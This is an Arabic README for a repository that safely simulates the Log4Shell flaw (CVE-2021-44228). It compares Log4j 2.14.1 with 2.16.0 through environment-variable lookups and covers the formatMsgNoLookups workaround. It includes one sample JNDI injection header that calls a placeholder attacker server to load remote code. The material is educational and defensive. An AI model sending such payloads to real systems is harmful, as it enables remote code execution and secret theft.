
محاكاة بسيطة للثغرة سيئة السمعة CVE-2021-44228.
يمثل هذا المستودع محاكاة مبسّطة لثغرة CVE-2021-44228 الشهيرة.
إلى جانب عمليات البحث في خصائص النظام وهياكل القواميس الأخرى، يوفّر Apache Log4j أيضًا ميزة بحث JNDI لأسباب متعددة. يمكن لـ JNDI الحصول على الخدمات من عدد من مزوّدي الخدمات، مثل LDAP وDNS وسجل Java RMI، وغيرها. إن JNDI بحد ذاته واجهة برمجة تطبيقات بسيطة وغير آمنة لا تحمي من مزوّدي الخدمات الذين يتحكم بهم طرف ثالث. طالما يتحكم المهاجم بخادم يمكن الوصول إليه علنًا عبر عنوان URL خبيث ويعرف ما الذي يسجّله التطبيق الذي يستمع على منفذ معين، فيمكنه إساءة استخدام تنسيق السجل لدفع التطبيق إلى تحميل وتنفيذ كود Java عشوائي عبر حقن JNDI. يمكن تمرير ذلك عبر ترويسات الطلبات التي تُسجَّل بشكل شائع، إما كنص عادي أو بشكل مبهم.
user-agent: ${jndi:ldap://evilserver.com/payload}
كان Apache Log4j عرضةً لثغرة تنفيذ التعليمات البرمجية عن بُعد قبل صدور الإصدار 2.16.0 في 13 ديسمبر، ولمؤلّفيه مني كل الاحترام لاستجابتهم السريعة.
الموارد:
تستخدم المحاكاة متغيرات البيئة بدلاً من خادم LDAP، كما يدعم تنسيق السجل استبدال الخصائص. المبدأ لا يختلف.
يتطلب الأمر Java 11 وMaven، ومع ذلك فإن Maven Wrapper مضمّن أيضًا في المستودع.
يعرّف مستودع GitHub سرًا للمستودع باسم PASSWORD يتم تعيينه كمتغير بيئة في ملف سير العمل .github/workflow/ci.yml من أجل إتاحة السر لأحد الإجراءات.
لإعادة إنتاج المشكلة محليًا، يمكن استخدام متغير البيئة شائع الاستخدام JAVA_HOME.
يبني سير العمل وينفّذ تطبيقين بإصدارين مختلفين من Apache Log4j، وهما 2.14.1 و2.16.0، وإليك مثال على تنفيذ على GitHub Actions: Java CI #7.
هذا الإصدار عرضة للهجوم. اتبع هذه الخطوات لإعادة الإنتاج:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
يظهر متغير البيئة مسجَّلًا:
args[0] = C:\Program Files\Java\jdk-11.0.11
إليك لقطة شاشة من GitHub Action فقط في حال تمت إزالة التشغيل الفعلي تلقائيًا:

لاحظ أنه بمجرد محاولة طباعة الأسرار في السجل، يقوم GitHub تلقائيًا بحجبها وتكون القيم مقنّعة وتُعرض على شكل ***.
ومع ذلك، فقد تم استبدال الخاصية.
يتمثل الحل البديل المؤقت والجزئي في إضافة مُعامل JVM -Dlog4j2.formatMsgNoLookups=True، وبالتالي يلزم إعادة تشغيل جميع عُقد التطبيق.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
لا يحدث أي استبدال للخصائص:
args[0] = ${env:JAVA_HOME:-}
ومرة أخرى، إليك لقطة شاشة من GitHub Actions:

تم إصلاح المشكلة في Log4j 2.12.2 (Java 7) وLog4j 2.16.0 (Java 8) بواسطة فريق أمان Log4j.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
لا يحدث أي استبدال للخصائص:
args[0] = ${env:JAVA_HOME:-}
ومرة أخرى، إليك لقطة شاشة من GitHub Actions:
